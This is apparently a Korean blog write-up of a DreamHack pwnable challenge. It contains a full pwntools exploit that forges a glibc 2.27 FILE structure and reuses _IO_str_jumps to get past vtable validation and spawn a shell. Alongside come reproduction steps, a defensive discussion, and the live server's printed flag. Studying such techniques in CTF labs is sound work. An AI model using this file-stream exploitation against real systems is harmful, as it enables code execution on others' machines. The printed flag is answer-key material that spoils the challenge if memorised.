# read(0, fp, 300) 으로 /dev/urandom 의 FILE 구조체를 통째로 덮은 뒤 fclose(fp) 가 호출된다.
# 대상은 Ubuntu 18.04 = glibc 2.27 이라 vtable 을 아무 주소로나 돌리면
# fclose 안에 인라인된 IO_validate_vtable 이 __libc_IO_vtables 섹션 밖이라며 abort 한다.
# 그래서 "섹션 안에 있는 진짜 vtable" 인 _IO_str_jumps 를 그대로 재사용하고,
# 거기서 불리는 _IO_str_finish 가 FILE+0xe8 을 함수 포인터로 호출한다는 점을 쓴다.
#
#   _IO_str_finish(fp):
#       rdi = fp->_IO_buf_base           (FILE+0x38)
#       if (rdi && !(fp->_flags & 1))    (_IO_USER_BUF)
#           call *(fp+0xe8)              (_IO_strfile._s._free_buffer)
#
#   → _IO_buf_base = "/bin/sh", FILE+0xe8 = system 이면 system("/bin/sh").
#
# 사용법:
#   python3 solve.py                       # 로컬 (localhost:7182, docker)
#   python3 solve.py <host> <port>         # 원격
from pwn import *
import sys, time
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
 
# ── glibc 2.27-3ubuntu1 (Ubuntu 18.04) 오프셋 ───────────────────────────────
IO_2_1_stdout_ = 0x3ec760   # printf("%p", stdout) 로 새는 값
SYSTEM         = 0x04f440
BINSH          = 0x1b3e9a
IO_STR_JUMPS   = 0x3e8360   # __libc_IO_vtables(0x3e7760~0x3e84c8) 안 → 검증 통과
# ───────────────────────────────────────────────────────────────────────────
 
p = remote(HOST, PORT)
 
# 1) libc base 유출 — 바이너리가 친절히 stdout 포인터를 찍어 준다
p.recvuntil(b'stdout: ')
leak = int(p.recvline().strip(), 16)
libc = leak - IO_2_1_stdout_
log.success('leak  _IO_2_1_stdout_ = %#x' % leak)
log.success('libc base             = %#x' % libc)
assert libc & 0xfff == 0, 'libc base 가 페이지 정렬이 아니다 — 오프셋 확인 필요'
 
system  = libc + SYSTEM
binsh   = libc + BINSH
str_jmp = libc + IO_STR_JUMPS
log.info('system=%#x  /bin/sh=%#x  _IO_str_jumps=%#x' % (system, binsh, str_jmp))
 
# 2) 가짜 _IO_strfile 조립
#    _flags 는 세 비트가 전부다:
#      _IO_USER_BUF   (0x0001) → 0 이어야 _IO_str_finish 가 _free_buffer 를 부른다
#      _IO_IS_FILEBUF (0x2000) → 0 이어야 fclose 가 _IO_un_link/_IO_file_close_it 를 건너뛴다
#      _IO_USER_LOCK  (0x8000) → 1 이면 fclose 가 _lock(0x88) 역참조를 통째로 건너뛴다
flags = 0xfbad8000
 
payload  = p64(flags)          # 0x00 _flags
payload += p64(0) * 6          # 0x08 _IO_read_ptr … 0x30 _IO_write_end
payload += p64(binsh)          # 0x38 _IO_buf_base  → _IO_str_finish 의 인자(rdi)
payload += p64(0)              # 0x40 _IO_buf_end
payload += p64(0) * 4          # 0x48 _IO_save_base … 0x60 _markers
payload += p64(0)              # 0x68 _chain
payload += p32(0)              # 0x70 _fileno
payload += p32(0)              # 0x74 _flags2
payload += p64(0)              # 0x78 _old_offset
payload += p16(0)              # 0x80 _cur_column
payload += p8(0)               # 0x82 _vtable_offset
payload += p8(0)               # 0x83 _shortbuf[1]
payload += p32(0)              # 0x84 (padding)
payload += p64(0)              # 0x88 _lock  ← _IO_USER_LOCK 덕에 안 쓰인다
payload += p64(0)              # 0x90 _offset
payload += p64(0)              # 0x98 _codecvt
payload += p64(0)              # 0xa0 _wide_data
payload += p64(0)              # 0xa8 _freeres_list
payload += p64(0)              # 0xb0 _freeres_buf
payload += p64(0)              # 0xb8 __pad5
payload += p32(0)              # 0xc0 _mode
payload += b'\x00' * 20        # 0xc4 _unused2[20]
assert len(payload) == 0xd8, hex(len(payload))
payload += p64(str_jmp)        # 0xd8 vtable       → IO_validate_vtable 통과
payload += p64(0)              # 0xe0 _s._allocate_buffer
payload += p64(system)         # 0xe8 _s._free_buffer → 실제로 불리는 칸
assert len(payload) == 0xf0, hex(len(payload))
 
# read(0, fp, 300) 이 정확히 300바이트를 먹게 채운다.
# 안 채우면 뒤이어 보낼 셸 명령이 같은 TCP 세그먼트에 실려 read 에 같이 빨려 들어가고,
# 셸은 읽을 게 없어 그대로 멈춘다(=아무 출력도 없는 실패로 보인다).
payload += b'\x00' * (300 - len(payload))
assert len(payload) == 300
 
p.recvuntil(b'Data: ')
p.send(payload)
time.sleep(0.3)
 
# 3) system("/bin/sh") 로 떨어진 셸
p.sendline(b'id; cat /home/bypass_valid_vtable/flag; cat flag')
try:
    print(p.recvall(timeout=5).decode(errors='replace'))
except EOFError:
    pass
p.close()

로컬 컨테이너에 먼저 돌려 봤다. 배포본의 flag 파일은 DH{**flag**} 라는 더미라 여기서 나오는 건 진짜 flag 가 아니지만, uid 줄이 오면 셸은 확실히 잡힌 것이다.

python3 solve.py localhost 7182
로컬 도커 컨테이너에 익스를 돌린 결과 — uid 가 bypass_valid_vtable 로 찍히고 더미 flag 가 읽힌다
로컬 도커 컨테이너에 익스를 돌린 결과 — uid 가 bypass_valid_vtable 로 찍히고 더미 flag 가 읽힌다

같은 스크립트를 라이브 서버 주소로 돌리면 진짜 flag 가 나온다.

python3 solve.py host3.dreamhack.games 10477
라이브 드림핵 서버에 익스를 돌린 결과 — 셸을 잡고 flag 파일을 읽어 DH 로 시작하는 64자리 값이 출력된다
라이브 드림핵 서버에 익스를 돌린 결과 — 셸을 잡고 flag 파일을 읽어 DH 로 시작하는 64자리 값이 출력된다
uid=1000(bypass_valid_vtable) gid=1000(bypass_valid_vtable) groups=1000(bypass_valid_vtable)
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}


🧪 재현하기

주소가 하드코딩돼 있어서 "내 환경에선 어떻게 하나" 가 바로 걸린다. 그래서 로컬 재현 방법을 같이 정리해 둔다.

1. 문제 서버 그대로 띄우기

배포본에 Dockerfile 이 들어 있으니 그대로 쓰면 된다.

cd extracted
docker build -t bypass-iovt:local .
docker run -d --name bypass-iovt-test -p 127.0.0.1:7182:7182 bypass-iovt:local

포트 7182 는 Dockerfile 의 ENV chall_port 값이다. 바이너리 빌드 명령은 소스 첫 줄 주석에 그대로 적혀 있다.

gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie

2. gdb 로 뜯어보려면 — 호스트에서 glibc 2.27 로 실행

디버깅은 컨테이너 안보다 호스트에서 하는 게 편하다. 배포된 libc.so.6 만으로는 안 되고 짝이 맞는 로더가 필요하다. 이미지에서 꺼내 오면 된다.

mkdir -p local
cid=$(docker create bypass-iovt:local)
docker cp "$cid:/lib/x86_64-linux-gnu/ld-2.27.so" local/ld-2.27.so
docker rm "$cid"
 
cp extracted/libc.so.6 extracted/bypass_valid_vtable local/
chmod +x local/bypass_valid_vtable local/libc.so.6
 
patchelf --set-interpreter "$PWD/local/ld-2.27.so" --set-rpath "$PWD/local" \
         local/bypass_valid_vtable

ldd local/bypass_valid_vtable 이 local/libc.so.6 를 가리키면 성공이다. 이 상태면 앞에서 쓴 gdb_check.gdb 가 그대로 돈다.

한 가지 성가신 점. patchelf 로 섹션을 옮기면 gdb 가 매번 warning: Loadable section ".dynsym" outside of ELF segments 를 여러 줄 뱉는다. 섹션마다 두 줄씩, 실측 1203 바이트다. gdb 설정으로는 못 끈다. 동작에는 영향이 없으니 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s 로 그 줄만 걷어냈다. -a 는 보험이다. 이 환경에서는 없어도 결과가 같았지만, gdb 가 x/s 로 뱉는 바이트에 비 UTF-8 이 섞이면 grep 이 스트림을 바이너리로 판정하고 뒤쪽 출력을 통째로 삼켜 버린다.

3. 오프셋을 자기 libc 에서 다시 구하려면

libc 가 다르면 이 글의 숫자는 전부 틀린다. 다시 구하는 방법은 이렇다.

값구하는 법
_IO_2_1_stdout_readelf -s libc.so.6 | grep _IO_2_1_stdout_ (export 됨)
system같은 방법
/bin/shstrings -a -t x libc.so.6 | grep '/bin/sh'
__libc_IO_vtables 범위readelf -S libc.so.6 | grep -A1 __libc_IO_vtables
_IO_str_jumps위의 find_str_jumps.py (심볼이 없어 스캔이 필요)

fclose 안의 검사 위치(fclose+0x69)도 버전마다 다르다. objdump -d 로 lea 두 개와 call *0x10(%r12) 를 찾아 다시 잡으면 된다.

4. 한 방에 확인

위 과정을 묶은 스크립트를 작업 폴더에 같이 뒀다.

./reproduce.sh                    # 로컬 도커 — 셸 획득까지 확인
./reproduce.sh <host> <port>      # 라이브 — 진짜 flag 대조

로컬 모드가 flag 를 대조하지 않는 건 배포본 flag 가 더미라서다. 더미를 진짜인 척 통과시키면 재현 스크립트 자체를 못 믿게 된다. 그래서 로컬은 uid=...(bypass_valid_vtable) 줄이 오는지로만 판정한다.

화면에 이게 뜨면상태
uid=1000(bypass_valid_vtable)셸 획득 성공
출력 0바이트300바이트 패딩을 빼먹었을 가능성이 크다
Fatal error: glibc detected an invalid stdio handlevtable 주소가 섹션 밖이다
Segmentation fault_flags 비트가 틀려 _lock 또는 _chain 을 밟았다


📝 결론

막는 쪽이 "위치"를 검사하면, 공격은 "내용"을 포기하고 위치를 맞춘다

2.24 의 대응은 합리적이다. vtable 포인터가 libc 의 정상 테이블 영역을 벗어나는 건 어떤 정상 동작으로도 설명이 안 되니, 그것만 걸러도 임의 함수 포인터 호출은 사라진다.

다만 그 검사는 "섹션 안이냐"만 본다. 섹션 안에 있는 테이블들 사이에서 어느 스트림 종류에 어느 vtable 이 붙어야 하는가는 보지 않는다. 파일 스트림에 문자열 스트림용 vtable 이 달려 있어도 통과다.

그리고 _IO_str_jumps 는 하필 구조체 뒷부분을 함수 포인터로 쓰는 vtable 이다. FILE 을 통째로 덮을 수 있는 상황이라면 그 칸도 당연히 우리 것이다. 막힌 건 임의 주소 점프였고, 남은 건 libc 가 원래 제공하던 간접 호출이었다.

공격 표면은 함수가 아니라 구조체다

이 문제에서 실제로 호출되는 libc 함수는 fclose 하나다. 그런데 그 한 번의 호출이 _flags 여러 비트, _lock, vtable, _IO_buf_base, 그리고 구조체 범위를 넘어선 +0xe8 까지 읽는다.

read(0, fp, 300) 이라는 한 줄을 "300바이트 오버플로우"로만 보면 크기 문제로 보인다. 실제로는 libc 내부 상태 기계를 통째로 넘겨준 것이다.

방어 쪽에서 볼 것

FILE * 같은 라이브러리 내부 구조체를 read·memcpy 의 목적지로 쓰지 않는 게 먼저다. 사용자 데이터를 담는 버퍼와 라이브러리 핸들은 애초에 다른 변수여야 한다.

read(0, fp, 300) 처럼 대상이 포인터 변수인지 그 대상 객체인지 헷갈리는 코드는 정적 분석기에서도 잘 안 걸린다. 크기 계산이 틀린 게 아니라 대상 자체가 틀린 경우라 sizeof 기반 검사가 통하지 않는다.

그리고 이 문제의 leak 은 printf("stdout: %p\n", stdout) 이었다. 연습 문제라 일부러 준 것이지만, 실무에서 디버그 로그에 포인터를 찍는 습관도 결국 같은 것이다. libc 주소 한 개면 그 안의 모든 심볼과 문자열이 딸려 나온다.

남는 것

vtable 범위 검사 자체는 2.24 이후로 계속 살아 있다. 그러니 이 풀이가 성립하는 조건은 검사의 유무가 아니라 _IO_str_finish 가 아직 _free_buffer 를 함수 포인터로 부르는가다. 그 호출이 남아 있는 버전에서만 이 경로가 열린다.

이 글의 숫자와 경로는 전부 2.27-3ubuntu1 에서 확인한 것이다. libc 가 바뀌면 오프셋만 다시 구할 게 아니라 _IO_str_finish 를 다시 뜯어봐야 한다. 버전을 안 보고 익스를 옮기면 왜 안 되는지도 모른 채 Fatal error 만 보게 된다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 3] IO_FILE vtable 검증을 8바이트로 비껴가기 — DreamHack iofile_vtable_check 풀이
blog

[🥇 Gold 3] IO_FILE vtable 검증을 8바이트로 비껴가기 — DreamHack iofile_vtable_check 풀이

단 39줄짜리 pwnable. fopen 으로 받은 FILE 구조체를 통째로 위조해 fclose 한 번으로 셸을 잡는다. 고전 _IO_str_jumps 경로가 패치로 죽어 있어, vtable 을 _IO_file_jumps 에서 8바이트만 밀어 SYSWRITE 슬롯을 _IO_file_read 로 바꾸는 "함수 포인터를 하나도 안 쓰는" 경로로 돌파했다.
#dreamhack#ctf#pwn+5
2026-10-12#dreamhack +5
[🥇 Gold 4] fread 안에 숨은 read 한 번 — DreamHack _IO_FILE Arbitrary Address Write 풀이
blog

[🥇 Gold 4] fread 안에 숨은 read 한 번 — DreamHack _IO_FILE Arbitrary Address Write 풀이

main이 fopen으로 받은 FILE 포인터를 그대로 read의 버퍼로 넘긴다. _IO_FILE 구조체를 통째로 위조할 수 있다는 뜻이다. fread는 요청량이 버퍼보다 작으면 __underflow로 내려가 read(_fileno, _IO_buf_base, 버퍼크기)를 부르는데, 이 세 인자가 전부 구조체 안에 있다. 버퍼 포인터를 전역 변수로, fd를 0으로 바꿔 stdin에서 0xDEADBEEF를 받아 적었다.
#dreamhack#ctf#pwnable+4
2026-07-30#dreamhack +5
[🥇 Gold 4] read 한 번을 통째로 훔쳐 오는 법 — DreamHack iofile_aw 풀이
blog

[🥇 Gold 4] read 한 번을 통째로 훔쳐 오는 법 — DreamHack iofile_aw 풀이

memcpy 한 줄이 stdin 이 가리키는 FILE 구조체의 앞 0x40바이트를 통째로 갈아끼운다. 그 0x40 안에 _IO_buf_base 가 들어 있어서, 다음에 fgets 가 부르는 read(2) 의 착지점을 내가 정할 수 있다. Full RELRO 라 GOT 는 못 건드리지만 대신 전역 int 하나 — read 길이를 담고 있는 size — 를 512에서 2560으로 키웠다. 그 순간 소스에 "No overflow here" 라고 주석까지 달려 있던 read_command 가 512바이트 스택 버퍼에 568바이트를 부어 넣는 함수가 된다.
#dreamhack#ctf#pwnable+4
2026-08-01#dreamhack +5